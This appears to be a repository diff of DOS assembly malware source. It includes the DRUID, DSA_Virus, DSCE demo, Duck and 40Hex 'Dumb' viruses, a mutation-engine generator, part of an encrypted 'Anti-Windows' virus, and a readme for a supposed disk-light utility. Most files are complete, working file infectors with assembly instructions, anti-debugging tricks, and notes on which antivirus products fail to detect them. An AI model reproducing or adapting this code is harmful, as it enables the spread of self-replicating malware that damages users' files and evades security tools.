je F1 ;No, wait for it
dec cl ;2nd one?
je F3 ;Yes, write during blanking time
F2: in al,dx ;No, get status
test al,8 ;Vert retrace went low?
jne F2 ;No, wait for it
jmp F1 ;Yes, wait for next hi
F3: pop cx
pop dx
pop ax ;Restore registers
ret ;and return
main endp
code ends
end main
+139
View File
@@ -0,0 +1,139 @@
fname equ 9eh ; pointer to filename in DTA
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
druid proc far
vstart equ $
start:
mov ax,2EBh ; used to baffle sourcer...
jmp $-2 ;
mov dx,offset newint ; set int1 to newint
mov ax,2501h
int 21h
mov al,3 ; set int3 to newint
int 21h
mov dx,offset newint ; do it again...
mov ax,2501h
int 21h
mov al,1
int 21h
mov ah,47h ; get current directory
xor dl,dl ; and save it
lea si,currdir
int 21h
again:
lea dx,fmask
mov ah,4Eh ; Find first *.COM
getfile:
int 21h
jnc found_ok ;if ok, goto found_ok
jmp short bailout ;if no more files, goto bail out
nop
found_ok:
mov si,fname ; load filename into ax
lodsw
cmp ax,'OC' ; if first 3 letters is "CO"
; as in "COMMAND.COM"
jne infect ; if not, go on
jmp getnext ; else, get another file
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
infect:
mov dx,fname ; get attribute
mov ax,4300h ; of the file found
int 21h
push cx ; and save it
xor cx,cx ; reset attributes
mov ax,4301h
int 21h
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
mov dx,fname ; open file
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc getnext ; if error, skip to loc_5
xchg ax,bx ; get handle in bx
mov ax,5700h ; get time'n date
int 21h
push dx ; save'em
push cx
mov ah,40h ; write virus to target
mov cx,virlen ; number of bytes to write
mov dx,fname ; pointer to file
int 21h
pop cx ; restore the date'n time
pop dx
mov ax,5701h
int 21h
mov ah,3Eh ; close target
int 21h
pop cx ; restore the attributes
mov ax,4301h
mov dx,fname
int 21h
getnext:
mov ah,4Fh ; get next file matching *.COM
jmp short getfile
bailout:
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
lea dx,dot_dot ; "cd.."
mov ah,3Bh
int 21h
jc exit ; if error, goto exit
jmp short again ; do it all over again
exit:
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
mov ah,3Bh ; change back to
lea dx,return_dir ; original directory
int 21h
mov ax,4C00h ; quit to dos with
int 21h ; errorlevel 0
id db ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden'
druid endp
newint proc far ; replaces INT1 and INT3
iret ; with this.
newint endp
fmask db '*.COM',0
dot_dot db '..',0
return_dir db '\' ; the slash is used when
currdir dw 32 dup (?) ; returning to old dir.
vend equ $
virlen equ vend - vstart
seg_a ends
end start

+224
View File
@@ -0,0 +1,224 @@
;=====( DSA_Virus by Rajaat )==================================================
;
; Memory resident appending COM infector, residing in the stack space reserved
; for the DOS AH < 0ch calls. Works through TBFILE using SFT manipulation,
; obtained through the DSA. File date/time won't be altered and the virus can
; circumvent attributes. The virus is, compiled with TASM, a mere 263 bytes
; long.
;
;==============================================================================
;
; Virus name : DSA_Virus
; Author : Rajaat
; Origin : United Kingdom, July 1996
; Compiling : Using TASM
;
; TASM /M DSAVIRUS
; TLINK /T DSAVIRUS
; Targets : COM files
; Size : 263 bytes
; Resident : Yes, no decrease in memory reported
; Polymorphic : No
; Encrypted : No
; Stealth : Memory only, by utilizing dos stack space
; Tunneling : Uses SFT to avoid some monitors
; Retrovirus : Yes, uses TbSpoof
; Antiheuristics: Yes
; Peculiarities : Makes extensive use of the Dos Swappable Area (DSA)
; Drawbacks : Might crash, I'm not sure :)
; Behaviour : The first time the DSA virus is executed, it will check if
; it's already resident in memory by looking at the first byte
; in the DOS stack, located in the DSA. If this resembles a
; mov bp,xxxx instruction, it's already resident and the DSA
; virus will return control to the host program. If not, the
; virus will install itself in the DOS stack area, reserved for
; DOS INT 21 functions below 0ch. It will hook INT 21. If a
; program is executed while the DSA virus is resident, it will
; open it in read-only mode. Then it will use the DSA to locate
; the current SFT. In the SFT it modifies the read-only mode to
; read/write, effectively passing the file checks of TBFILE. It
; will also clear the file attributes during the infection
; process by using the SFT. The DSA virus will read the first
; 5 bytes of the file and checks wether the file is already
; infected or if it is an EXE file. If both checks are passed
; successfully, it will write itself at the end of the file
; and patches the start of the COM file to point at its code.
; The infected file increases by 263 bytes. Before closing the
; file, the DSA virus sets the file date/time update flag, so
; the date won't change after infection. After infection it
; will set the file attribute again and return control to it's
; caller.
;
; It's unknown what this virus might do besides replicate :)
;==============================================================================
;
; Results with antivirus software
;
; TBFILE - Doesn't detect it
; TBSCAN - Doesn't detect it
; TBMEM - Detects it
; TBCLEAN - Cleans it, so what?
; SVS - Detects it
; SSC - Doesn't detect it
; F-PROT - Doesn't detect it
; F-PROT /ANALYSE - Doesn't detect it
; F-PROT /ANALYSE /PARANOID - Doesn't detect it
; AVP - Detects it
; VSAFE - Corrupts infected files on my system!
; NEMESIS - I don't try this one anymore
;
;==============================================================================
.model tiny
.code
.radix 16
.286 ; why bother with XT?
org 100
DSA_Virus: mov bp,0 ; delta offset
Relative_Offset equ $-2
mov ax,5d06 ; get DSA pointer
int 21 ;
cmp byte ptr [si+600],0bdh ; mov bp in stack memory?
jne Install_TSR ; no, install virus
;=====( Return to host )=======================================================
Return_to_host: push cs cs ; move 5 bytes to offset 100h
pop ds es ; and execute host
lea si,COM_Host[bp]
pop ax
mov di,0ff
stosb
push di
movsw
movsw
movsb
ret
;=====( Install virus in memory )==============================================
Install_TSR: xchg ax,si
test al,0f ; DSA at paragraph boundary?
jnz Return_to_host ; no, abort
add ah,5 ; DSA+600 = DOS stack for
shr ax,4 ; ah < 0ch, virus re-aligns
mov bx,ds ; segment, so offset is
add ax,bx ; 100, like in COM files
push cs
pop ds
mov es,ax
lea si,DSA_Virus[bp]
mov di,100
mov cx,Virus_Length
Move_Virus: lodsb
stosb
loop Move_Virus ; move virus to stack space
push es
pop ds
mov ax,4521 ; get int 21
sub ah,10
int 21
mov word ptr INT_21,bx
mov word ptr INT_21+2,es
mov ah,25 ; set int 21
lea dx,New_21
int 21
jmp Return_to_host ; restore host
;=====( Data to place at the start of a COM file )=============================
Signature db '[DSA by Rajaat / Genesis]'
Virus_Jump: db 'PK' ; TbSpoof
db 0e9 ; jump to virus
;=====( First 5 bytes of host data )===========================================
COM_Host db 0cdh,020h,0,0,0
;=====( Resident INT 21 handler )==============================================
New_21: not ax
cmp ax,not 4b00 ; execute file?
not ax
jne Int_21_Done ; no, abort
Check_Infect: push ax bx dx ds es
mov ah,3dh ; open read-only
int 21
xchg ax,bx
mov ax,5d06 ; get DSA
int 21
lds si,dword ptr ds:[si+27e] ; get current SFT
push si ds
mov word ptr [si+2],2 ; open mode is now read/write
mov al,byte ptr [si+4] ; get file attribute
mov byte ptr [si+4],0 ; clear file attribute
push ax ; push file attribute on stack
push cs
pop ds
mov ah,3f ; read first 5 bytes of host
mov cx,5
lea dx,COM_Host
int 21
mov ax,word ptr [Com_Host]
sub ax,'KP' ; PK signature?
jz is_infected ; yes, abort
sub ax,'ZM'-'KP' ; MZ signature (EXE file)
jz is_infected ; yes, abort
mov ax,4202 ; goto end of file
xor cx,cx
cwd
int 21
mov word ptr Relative_Offset,ax ; store relative offset
push ax
mov ah,1 ; write virus at end of file
shl ah,6
mov cx,Virus_Length
lea dx,DSA_Virus
int 21
mov ax,4200 ; goto start of file
xor cx,cx
cwd
int 21
pop ax ; calculate jump address
mov cx,5
sub ax,cx
mov word ptr Com_Host,ax
mov ah,40 ; write jump at start of file
lea dx,Virus_Jump
int 21
Is_Infected: pop ax ds si
mov byte ptr [si+4],al ; restore file attributes
or byte ptr [si+6],40 ; don't change file date/time
mov ah,3e ; close file
int 21
pop es ds dx bx ax
Int_21_Done: db 0ea ; chain to old int 21
Virus_Length equ $-DSA_Virus
;=====( Data used by the virus, but not written to files )=====================
INT_21 dd 0
end DSA_Virus
@@ -0,0 +1,450 @@
; A DEMO VIRUS FOR DSCE BY [PF]
.286
DEMO SEGMENT
ASSUME CS:DEMO,DS:DEMO
ORG 0000
VIR_LEN EQU OFFSET DSCE_END
EXTRN DSCE:NEAR,DSCE_END:NEAR
START: CALL BEG
BEG PROC
BEG ENDP
CLD
MOV AH,62H
INT 21H
MOV ES,BX
POP AX
SUB AX,3
SHR AX,4
MOV DX,CS
ADD AX,DX
PUSH AX
PUSH OFFSET CHK_MEMVIR
RETF
CHK_MEMVIR: PUSH CS
POP DS
MOV AX,4BDDH
INT 21H
CMP AX,0DD4BH
JZ RUN_OLD
MOV PSP_1,ES
MOV PSP_2,ES
MOV PSP_3,ES
MOV BX,VIR_LEN
MOV WORD PTR [BX],0A4F3H
MOV BYTE PTR [BX+2],0CBH
XOR DI,DI
MOV SI,DI
MOV AX,ES
ADD AX,10H
MOV ES,AX
MOV CX,VIR_LEN
PUSH ES
MOV AX,OFFSET CON
PUSH AX
CLD
JMP BX
RUN_OLD: PUSH ES
POP DS
CMP CS:FILE_MODE,0
JNZ RUN_EXE
MOV AX,CS:COM_HEAD1
MOV DS:[0100H],AX
MOV AH,CS:COM_HEAD2
MOV DS:[0102H],AH
MOV AX,0100H
MOV SP,0FFFEH
PUSH DS
PUSH AX
RETF
RUN_EXE: MOV AX,ES
ADD AX,10H
ADD CS:EXE_SS,AX
ADD CS:EXE_CS,AX
CLI
MOV SS,CS:EXE_SS
MOV SP,CS:EXE_SP
STI
JMP DWORD PTR CS:EXE_IP
RUN_OLD_M2: MOV AX,CS
MOV BX,VIR_LEN
ADD BX,200H
CLI
MOV SS,AX
MOV SP,BX
STI
MOV AH,4AH
MOV BX,VIR_LEN
ADD BX,BX
SHR BX,4
ADD BX,200H
MOV ES,PSP_1
INT 21H
MOV ES,ES:[2CH]
XOR DI,DI
XOR AX,AX
MOV CX,0FFFFH
GET_NAME: REPNZ SCASB
CMP AL,ES:[DI]
LOOPNZ GET_NAME
ADD DI,3
MOV RUN_DX,DI
MOV RUN_DS,ES
PUSH CS
POP ES
MOV AX,4B00H
MOV BX,OFFSET PCB
LDS DX,DWORD PTR CS:RUN_DX
INT 21H
MOV AH,4DH
INT 21H
MOV AH,31H
MOV DX,VIR_LEN
ADD DX,DX
SHR DX,4
ADD DX,0F0H
INT 21H
CON: PUSH CS
POP DS
MOV AX,3521H
INT 21H
MOV INT21_IP,BX
MOV INT21_CS,ES
MOV DX,OFFSET INT21
MOV AX,2521H
INT 21H
JMP RUN_OLD_M2
INT21_IP DW ?
INT21_CS DW ?
INT24_IP DW ?
INT24_CS DW ?
RUN_DX DW ?
RUN_DS DW ?
COM_HEAD1 DW 20CDH
COM_HEAD2 DB ?
EXE_HEAD DW ?
EXE_02H DW ?
EXE_04H DW ?
DW ?
EXE_08H DW ?
DW 2 DUP(?)
EXE_SS DW ?
EXE_SP DW ?
DW ?
EXE_IP DW ?
EXE_CS DW ?
NEW_SIZE_L DW ?
NEW_SIZE_H DW ?
PCB DW 0
DW 80H
PSP_1 DW ?
DW 5CH
PSP_2 DW ?
DW 6CH
PSP_3 DW ?
PATH_DX DW ?
PATH_DS DW ?
DATE_CX DW ?
DATE_DX DW ?
FILE_MODE DB 0
FILE_ATR DW ?
FILE_LEN DW ?
POP_BUFFER DW ?
VIR_BUFFER DB 20H DUP (?)
SP_BUF DW ?
SS_BUF DW ?
VIR_MSG DB "This is a DSCE's Demo Virus written by [P.F]"
INT21: PUSHF
CLD
CALL INF_PUSH
CMP AX,4BDDH
JNZ I21_CON
CALL INF_POP
MOV AX,0DD4BH
POPF
IRET
I21_CON: CMP AX,4B00H
JZ I21_RUN
I21_END: CALL INF_POP
POPF
JMP DWORD PTR CS:INT21_IP
I21_CLOSE: MOV AH,3EH
INT 21H
JMP I21_END
I21_RUN: MOV CS:PATH_DS,DS
MOV CS:PATH_DX,DX
MOV AX,3D00H
INT 21H
I21_END_L1: JC I21_END
XCHG AX,BX
PUSH CS
POP DS
MOV AX,5700H
INT 21H
CMP DX,0C800H
JA I21_CLOSE
MOV DATE_CX,CX
MOV DATE_DX,DX
MOV AH,3FH
MOV CX,3
MOV DX,OFFSET COM_HEAD1
INT 21H
CMP AX,CX
JNZ I21_CLOSE
CMP COM_HEAD1,4D5AH
JZ SET_MODE
CMP COM_HEAD1,5A4DH
JNZ SET_M_COM
SET_MODE: MOV FILE_MODE,1
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AH,3FH
MOV CX,18H
MOV DX,OFFSET EXE_HEAD
INT 21H
JMP SHORT I21_OPEN
SET_M_COM: MOV FILE_MODE,0
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
OR DX,DX
JNZ I21_CLOSE
CMP AX,0C000H
JA I21_CLOSE
MOV FILE_LEN,AX
I21_OPEN: MOV AH,3EH
INT 21H
PUSH PATH_DX
PUSH PATH_DS
POP DS
POP DX
MOV AX,4300H
INT 21H
JC I21_END_L1
MOV CS:FILE_ATR,CX
MOV AX,4301H
XOR CX,CX
INT 21H
MOV AX,3D02H
INT 21H
JC I21_END_L2
XCHG AX,BX
PUSH CS
POP DS
PUSH BX
MOV AX,3524H
INT 21H
MOV INT24_IP,BX
MOV INT24_CS,ES
MOV AX,2524H
MOV DX,OFFSET INT24
INT 21H
POP BX
CALL WRITE
MOV AH,3EH
INT 21H
MOV AX,2524H
PUSH INT24_IP
PUSH INT24_CS
POP DS
POP DX
INT 21H
PUSH CS:PATH_DX
PUSH CS:PATH_DS
POP DS
POP DX
MOV AX,4301H
MOV CX,CS:FILE_ATR
INT 21H
I21_END_L2: JMP I21_END
INT24: XOR AL,AL
IRET
WRITE PROC
MOV SP_BUF,SP
MOV SS_BUF,SS
MOV AX,VIR_LEN + 5DCH
MOV DX,CS
CLI
MOV SS,DX
MOV SP,AX
STI
CMP FILE_MODE,0
JZ WRITE_COM
JMP SHORT WRITE_EXE
WRITE_COM: MOV SI,OFFSET VIR_BUFFER
MOV BYTE PTR [SI],0E9H
MOV AX,FILE_LEN
PUSH AX
SUB AX,3
MOV [SI+1],AX
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AH,40H
MOV DX,SI
MOV CX,3
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VIR_LEN + 600H
MOV DX,CS
SHR AX,4
INC AX
ADD AX,DX
MOV ES,AX
MOV DX,OFFSET START
MOV CX,VIR_LEN
POP BP
ADD BP,0100H
PUSH BX
MOV BL,10B
CALL DSCE
POP BX
MOV AH,40H
INT 21H
PUSH CS
POP DS
SET_DATE: MOV AX,5701H
MOV CX,DATE_CX
MOV DX,DATE_DX
ADD DX,0C800H
INT 21H
MOV AX,SP_BUF
MOV DX,SS_BUF
CLI
MOV SS,DX
MOV SP,AX
STI
RET
WRITE_EXE: PUSH CS
POP ES
MOV SI,OFFSET EXE_HEAD
MOV DI,OFFSET VIR_BUFFER
MOV CX,18H
REP MOVSB
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ADD AX,0FH
ADC DX,0
AND AX,0FFF0H
MOV NEW_SIZE_L,AX
MOV NEW_SIZE_H,DX
MOV CX,10H
DIV CX
MOV DI,OFFSET VIR_BUFFER
SUB AX,[DI+8]
MOV [DI+16H],AX
MOV [DI+0EH],AX
MOV WORD PTR [DI+14H],0
MOV [DI+10H],0FFFEH
MOV AX,4200H
MOV DX,NEW_SIZE_L
MOV CX,NEW_SIZE_H
INT 21H
MOV AX,VIR_LEN + 600H
MOV DX,CS
SHR AX,4
INC AX
ADD AX,DX
MOV ES,AX
MOV DX,OFFSET START
MOV CX,VIR_LEN
MOV BP,0
PUSH BX
MOV BL,11B
CALL DSCE
POP BX
MOV AH,40H
INT 21H
PUSH CS
POP DS
MOV AX,NEW_SIZE_L
MOV DX,NEW_SIZE_H
ADD AX,CX
ADC DX,0
MOV CX,200H
MOV DI,OFFSET VIR_BUFFER
DIV CX
OR DX,DX
JZ GET_NEW
INC AX
GET_NEW: MOV [DI+4],AX
MOV [DI+2],DX
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AH,40H
MOV CX,18H
MOV DX,DI
INT 21H
JMP SET_DATE
WRITE ENDP
INF_PUSH PROC
POP CS:POP_BUFFER
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
PUSH DS
PUSH ES
JMP CS:POP_BUFFER
INF_PUSH ENDP
INF_POP PROC
POP CS:POP_BUFFER
POP ES
POP DS
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
JMP CS:POP_BUFFER
INF_POP ENDP
DEMO ENDS
END START
@@ -0,0 +1,56 @@
P R O - D I S K - L I T E
v1.01
by Dan Joung and Dark Ray
What is it?
Pro-Disk-lite is a on-screen disk lite, it will show a floppie-disk in the
upper right courner of your screen if interrupt HEX 13 is called, what means
it will on any kind of disk access.
Why use it?
Because is't handy if you havn't got a (working) LED in your drive, or just
because it looks great!
Who are you?
I'm Dan Joung, a hareware programmammer from the states.
And my friend DarkRay (who allways uses an alias) who drawed the ANSI-screen
for me, excellent work darky!
Costs?
Non, but if you like it you can send me 10 dollar...
Dan Joung
10th street
624155 New York
United States
Thanks in advance!
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,119 @@
; Dark Slayer Mutation Engine v1.0
; Written by Dark Slayer in Taiwan
DSME_GEN SEGMENT
ASSUME CS:DSME_GEN,DS:DSME_GEN
ORG 0100h
MSG_ADDR EQU OFFSET MSG-OFFSET PROC_START-0005h
EXTRN DSME:NEAR,DSME_END:NEAR
; 以下程式,除了要注意的地方有注解,其它部份自己研究
; you may get some information as following remarks
;
START:
MOV AH,09h
MOV DX,OFFSET DG_MSG
INT 21h
MOV AX,OFFSET DSME_END+000Fh ; 本程式 + DSME+000Fh 之後的位址
; 若減 0100h 則成為本程式 + DSME 的長度
; This program + DSME+000Fh address
; Minus 0100h = this program + DSME
; lengh
MOV CL,04h
SHR AX,CL
MOV BX,CS
ADD BX,AX
MOV ES,BX ; 設 ES 用來放解碼程式和被編碼資料
; 解碼程式最大為 1024 Bytes
; 若用在常駐程式時,則須注意分配的記憶體大小
; Setting ES to put decryptor and encrypted
; code.
; Decryptor maxium is 1024 bytes
; You should notice the allocation of memory
; size when you use DSME in resident mode.
MOV CX,50
DG_L0:
PUSH CX
MOV AH,3Ch
XOR CX,CX
MOV DX,OFFSET FILE_NAME
INT 21h
XCHG BX,AX
MOV BP,0100h ; 解碼程式偏移位址
; 用來寫毒時則依欲感染檔案之大小而設
; Offset where the decryption routine
; will be executed
; It depends on which kinds of files
; COM or EXE?
MOV CX,OFFSET PROC_END-OFFSET PROC_START ; 被編碼程式的長度
; encrypted code
; lengh
MOV DX,OFFSET PROC_START ; DS:DX -> 要被編碼的程式位址
; DS:DX -> Encrypted code's
; address
PUSH BX ; 保存 File handle
; keep File handle
MOV BL,00h ; COM 模式
; COM mode
CALL DSME
POP BX
MOV AH,40h ; 返回時 DS:DX = 解碼程式 + 被編碼程式的位址
INT 21h ; CX = 解碼程式 + 被編碼程式的長度,其它暫存器不變
; When returning from DSME,
; DS:DX = decryptor + encrypted code's address
; CX = lengh of decryptor + encrypted code
; Other registers won't be changed.
MOV AH,3Eh
INT 21h
PUSH CS
POP DS ; 將 DS 設回來
; restore DS
MOV BX,OFFSET FILE_NUM
INC BYTE PTR DS:[BX+0001h]
CMP BYTE PTR DS:[BX+0001h],'9'
JBE DG_L1
INC BYTE PTR DS:[BX]
MOV BYTE PTR DS:[BX+0001h],'0'
DG_L1:
POP CX
LOOP DG_L0
MOV AH,4Ch
INT 21h
FILE_NAME DB '000000'
FILE_NUM DB '00.COM',00h
DG_MSG DB 'Generates 50 DSME encrypted test files.',0Dh,0Ah,'$'
PROC_START:
MOV AH,09h
CALL $+0003h
POP DX
ADD DX,MSG_ADDR
INT 21h
INT 20h
MSG DB 'this is <DSME> test file.$'
PROC_END:
DSME_GEN ENDS
END START

File diff suppressed because it is too large Load Diff
+294
View File
@@ -0,0 +1,294 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: DUCK.ASM
; Duck Virus by White Shark
id = 'DA'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
org 0100h
carrier:
db 0E9h,0,0 ; jmp start
start:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next
push es
push ds
push cs
pop ds
push cs
pop es
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
mov dl, 0000h ; Default drive
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
push ds
push es
mov ax, 3521h ; get int 21h handler
int 0021h
push es
pop ds
xchg bx, dx
mov ax, 2503h ; set int 3 = int 21h handler
int 0021h
pop es
pop ds
lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
movsw
movsw
movsw
movsw
mov byte ptr [bp+numinfect], 0000h
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0064h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0003h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0003h
pop ds
pop es
mov ah, 001Ah ; restore DTA to default
mov dx, 0080h ; in the PSP
int 0003h
cmp sp, id
je restore_EXE
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3_2]
mov cx, 0003h ; Caution: far from the most efficient
rep movsb ; routine
return:
ret
restore_EXE:
mov ax, es
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh
origCSIP2 db ?
old3_2 db ?,?,?
origSPSS2 dd ?
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
infect:
mov ah, 004Eh ; find first
mov cx, 0007h ; all files
findfirstnext:
int 0003h
jc return
cmp word ptr [bp+newDTA+34], 'NA' ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so
mov ax, 4300h
lea dx, [bp+newDTA+30]
int 0003h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0003h
lea dx, [bp+newDTA+30]
mov ax, 3D02h
int 0003h
xchg ax, bx
mov ax, 5700h ; get file time/date
int 0003h
push cx
push dx
mov ah, 003Fh
lea dx, [bp+offset readbuffer]
mov cx, 001Ah
int 0003h
xor cx, cx
mov ax, 4202h
cwd
int 0003h
cmp word ptr [bp+offset readbuffer], 'ZM'
jz checkEXE
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsw
movsb
mov cx, 0003h
sub ax, cx
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [bp+offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
mov word ptr [bp+readbuffer+2], ax ; the EXE header.
pop bx ; restore file handle
mov cx, 001Ah
continue_infect:
push cx ; save # bytes to write
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
mov cx, heap-start
int 0003h
xor dx, dx
mov ax, 4200h
xor cx, cx
int 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
pop cx
int 0003h
inc [bp+numinfect]
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0003h
mov ah, 003Eh
int 0003h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0003h
mov ah, 004Fh ; find next
jmp findfirstnext
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
creator db 'White Shark',0
virusname db 'Duck Virus',0
EXEmask db '*.EXE',0
COMmask db '*.COM',0
dot_dot db '..',0
heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end carrier
+116
View File
@@ -0,0 +1,116 @@
DumbVirus segment
Assume CS:DumbVirus
Org 100h ; account for PSP
; Dumb Virus - 40Hex demo virus
; Assemble with TASM /m2
Start: db 0e9h ; jmp duh
dw 0
; This is where the virus starts
duh: call next
next: pop bp ; bp holds current location
sub bp, offset next ; calculate net change
; Restore the original first three bytes
lea si, [bp+offset stuff]
mov di, 100h
; Put 100h on the stack for the retn later
; This will allow for the return to the beginning of the file
push di
movsw
movsb
; Change DTA from default (otherwise Findfirst/next will destroy
; commandline parametres
lea dx, [bp+offset dta]
call set_dta
mov ah, 4eh ; Find first
lea dx, [bp+masker] ; search for '*.COM',0
xor cx, cx ; attribute mask - this is unnecessary
tryanother:
int 21h
jc quit ; Quit on error
; Open file for read/write
; Note: This fails on read-only files
mov ax, 3D02h
lea dx, [bp+offset dta+30] ; File name is located in DTA
int 21h
xchg ax, bx
; Read in the first three bytes
mov ah, 3fh
lea dx, [bp+stuff]
mov cx, 3
int 21h
; Check for previous infection
mov ax, word ptr [bp+dta+26] ; ax = filesize
mov cx, word ptr [bp+stuff+1] ; jmp location
add cx, eov - duh + 3 ; convert to filesize
cmp ax, cx ; if same, already infected
jz close ; so quit out of here
; Calculate the offset of the jmp
sub ax, 3 ; ax = filesize - 3
mov word ptr [bp+writebuffer], ax
; Go to the beginning of the file
xor al, al
call f_ptr
; Write the three bytes
mov ah, 40h
mov cx, 3
lea dx, [bp+e9]
int 21h
; Go to the end of the file
mov al, 2
call f_ptr
; And write the rest of the virus
mov ah, 40h
mov cx, eov - duh
lea dx, [bp+duh]
int 21h
close:
mov ah, 3eh
int 21h
; Try infecting another file
mov ah, 4fh ; Find next
jmp short tryanother
; Restore the DTA and return control to the original program
quit: mov dx, 80h ; Restore current DTA to
; the default @ PSP:80h
set_dta:
mov ah, 1ah ; Set disk transfer address
int 21h
retn
f_ptr: mov ah, 42h
xor cx, cx
cwd ; equivalent to: xor dx, dx
int 21h
retn
masker db '*.com',0
; Original three bytes of the infected file
; Currently holds a INT 20h instruction and a null byte
stuff db 0cdh, 20h, 0
e9 db 0e9h
eov equ $ ; End of the virus
; The following variables are stored in the heap space (the area between
; the stack and the code) and are not part of the virus that is written
; to files.
writebuffer dw ? ; Scratch area holding the
; JMP offset
dta db 42 dup (?)
DumbVirus ENDS
END Start
+476
View File
@@ -0,0 +1,476 @@
; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows...
; [] ][ [] [] []
; [] [] [] [] [] An original Viral Artform by
; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of
; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703!
; [][] ][ ][ [][][]
; "Hey, you... with the shitty logo... Yeah, you! Get over here!"
.model tiny
.code
org 100h
id_word equ '1V' ; Marker Word
; V1 in Lil' Endian
entry:
mov bx, offset endcrypt ; Virus Start
mov cx, (end_write-endcrypt)/2 ; Ieterations
Valu:
mov dx, 0000h ; Xor Word
Crypt_Loop:
xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd)
ror word ptr cs:[bx], 1 ; Roll it Right!
inc bx
inc bx
loop Crypt_Loop
EndCrypt:
push ds es ; Save Segments
push cs cs ; CS=DS=ES
pop ds es
mov ax, 0ABCDh ; R-U-There?
int 21h
cmp ax, 6969h ; Ax=6969h Vir_Ident
jne put_vir_in_mem ; No.
exit:
pop es ds ; Restore Segments
mov ax, es ; AX = PSP segment
add ax, 10h ; Adjust for PSP
mov cx, ax
